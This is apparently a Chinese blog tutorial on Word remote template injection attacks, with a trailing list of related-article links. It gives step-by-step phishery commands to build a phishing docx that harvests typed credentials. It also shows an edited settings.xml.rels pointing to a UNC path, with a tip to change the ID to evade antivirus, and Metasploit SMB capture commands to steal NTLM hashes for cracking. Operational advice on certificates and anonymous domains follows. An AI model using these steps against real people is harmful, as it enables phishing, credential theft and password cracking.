Word模板注入攻击

0x00 工具准备

phishery:https://github.com/ryhanson/phishery/releases

office版本:office 2010

0x01 什么是Word模板注入攻击

Word模板注入攻击就是利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器发送恶意请求的方式,来盗取他的各类账号密码

0x02 通过远程模板注入盗取目标的各类普通账号密码

1、创建一个docx格式的word文件作为模板源文件,并编辑好文档内容

2、利用模板源文件(test.docx)生成真正的钓鱼文件

用到的工具为phishery,文档开头已提供下载链接(有多个平台的版本,此处用的linux下,在kali里操作的)

2.1 将test.docx放到工具phishery的目录下

2.2 执行以下命令生成真正的钓鱼文件

 ./phishery -u https://192.168.3.29/pass -i phishery.docx -o getpwd.docx
# 此处务必要注意,必须用 https 证书,都在当前目录下

2.3 修改生成的钓鱼文件的权限

chmod 777 getpwd.docx

3、启动phishery服务端(模拟web服务器)

phishery会用当前目录下的setting.json文件中的参数和证书作为默认配置,将记录到的账号密码放在credentials.json中

./phishery
cat credentials.json

4、将钓鱼文件getpwd.docx发送给目标

4.1 目标一点开文件就会弹出一个证书警告框,这一步很关键,只要用户选择了"是",我们的钓鱼文件就会自动去连接远程服务器并弹出基础认证钓鱼框,当目标输完账号以后就会被发送到我们自己的 smb 服务器上

4.2 当目标在弹出的登录框输入内容过后,回到攻击者的kali上,发现目标输入的账号密码都已经被记录

0x03 通过远程模板注入盗取目标系统用户密码的ntlm hash

1、修改之前生成的getpwd.docx解压出来的settings.xml.rels文件

1.1 将docx的文件后缀格式改为压缩文件的格式,如zip,然后将文件解压,找到word\_rels文件

1.2 编辑 settings.xml.rels,如下,定位到 Target 参数,将其改为 smb 的请求方式[即 UNC 路径],同时也可以尝试把 id[工具的敏感特征]改掉,以此躲避某些杀软

原来的:

更改的:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file://192.168.175.137/" Tar getMode="External"/>
</Relationships>

2、修改好之后将之前解压出来的文件全部重新打包,并将后缀名字改回docx

2.1 全部重新打包为zip格式的压缩包

2.2 将打包好的压缩包的后缀更改为docx

3、回到攻击机kali上,打开msf,启动smb监听,将后续收到的hash都存到passwd中

msf > use auxiliary/server/capture/smb
msf > set srvhost 192.168.3.29
msf > set johnpwfile passwd
msf > exploit

4、将制作好的钓鱼文件getpwd发送给目标,当目标打开文件,攻击者便可以获取到他当前系统用户的密码hash

4.1 打开钓鱼文件,目标这里没有任何提示弹窗

4.2 再回到攻击机,发现目标用户系统的hash已经获取到了

4.3 最后,只需要把这些 hash 丢到 hashcat 里去跑就行了

0x05 关于实际利用过程中的一些注意事项

  • 需要一个靠谱的证书
  • 一个靠谱高匿的域名
  • 这种攻击方式的好处在于它并不依赖目标所使用的操作系统,完全依靠 word 自身特性来完成,所以有更强的适应性

0x06 来源

《Word 模版注入攻击详细利用过程 》--By Klion

Word模板注入攻击的更多相关文章

  1. Word 模板注入

      要实现word模板注入,需要一个被注入的文档,以及一个注入用的模板. 1.创建一个启用宏的模板   打开word,alt+f8创建编辑宏,在Project->Microsoft Word对象 ...

  2. Office RTF远程模板注入

    远程模板插入   ProofPoin最近写了一篇文章,报告中提到近年来RTF模板注入进行office钓鱼攻击的数量增加.之前还没怎么了解过RTF模板注入的,现在和小编一起去看看吧(笑hhh).   相 ...

  3. SQL注入攻击的常见方式及测试方法

    本文主要针对SQL注入的含义.以及如何进行SQL注入和如何预防SQL注入让小伙伴有个了解.适用的人群主要是测试人员,了解如何进行SQL注入,可以帮助我们测试登录.发布等模块的SQL攻击漏洞,至于如何预 ...

  4. Java Filter防止sql注入攻击

    原理,过滤所有请求中含有非法的字符,例如:, & < select delete 等关键字,黑客可以利用这些字符进行注入攻击,原理是后台实现使用拼接字符串,案例:某个网站的登入验证的SQ ...

  5. XXE(XML External Entity attack)XML外部实体注入攻击

    导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...

  6. web攻击之三:SQL注入攻击的种类和防范手段

    观察近来的一些安全事件及其后果,安全专家们已经得到一个结论,这些威胁主要是通过SQL注入造成的.虽然前面有许多文章讨论了SQL注入,但今天所讨论的内容也许可帮助你检查自己的服务器,并采取相应防范措施. ...

  7. Django是如何防止注入攻击-XSS攻击-CSRF攻击

    注入攻击-XSS攻击-CSRF攻击介绍请访问:https://www.cnblogs.com/hwnzy/p/11219475.html Django防止注入攻击 Django提供一个抽象的模型层来组 ...

  8. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  9. 威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短

    概述 近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利.建议用户 ...

随机推荐

  1. C#_.NetFramework_Web项目_EXCEL数据导出

    [推荐阅读我的最新的Core版文章,是最全的介绍:C#_.NetCore_Web项目_EXCEL数据导出] 项目需引用NPOI的NuGet包: A-2:EXCEL数据导出--Web项目--C#代码导出 ...

  2. C# loop executed one by one wait the former completed

    using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.T ...

  3. Selenium(八):其他操作元素的方法、冻结界面、弹出对话框、开发技巧

    1. 其他操作元素的方法 之前我们对web元素做的操作主要是:选择元素,然后点击元素或者输入字符串. 还有没有其他的操作了呢?有. 比如:比如鼠标右键点击.双击.移动鼠标到某个元素.鼠标拖拽等. 这些 ...

  4. Go-包

    Go-包 包的介绍以及使用 为什么使用包 为了更加好的维护代码 包的位置 必须再GOPATH路径的src中 能导入的内容 导入的内容名称必须是大写字母开头不然无法导入 包 src中的一个文件夹为一个包 ...

  5. Java操作数据库——手动实现数据库连接池

    Java操作数据库——手动实现数据库连接池 摘要:本文主要学习了如何手动实现一个数据库连接池,以及在这基础上的一些改进. 部分内容来自以下博客: https://blog.csdn.net/soonf ...

  6. Oracle备份、还原数据库

    备份数据库 创建备份目录(用sys账号),若已创建备份目录,此步可忽略 create directory db_bak as 'D:\ ECIMS_DB' --查看创建的目录 select * fro ...

  7. socket经典案例-发送数据

    一:客户端向服务端发送数据. 服务端: package com.company.s; import java.io.*; import java.net.ServerSocket; import ja ...

  8. curl 模拟https协议请求

    在原有基础上再添加设置下面两个参数: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // 跳过证书检查 curl_setopt($ch, CURLO ...

  9. CSAPP 3 程序的机器级表示

    1 本章总述 1) 通过让编译器产生机器级程序的汇编表示, 学习了编译器及其优化能力, 以及机器.数据类型和指令集; 2) 学习了程序如何将数据存储在不同的内存区域中 -- 程序开发人员需要知道一个变 ...

  10. SQL Server清理数据库日志的脚本-干货

    USE [master]GOALTER DATABASE AAAAAA SET RECOVERY SIMPLE WITH NO_WAITGOALTER DATABASE AAAAAA SET RECO ...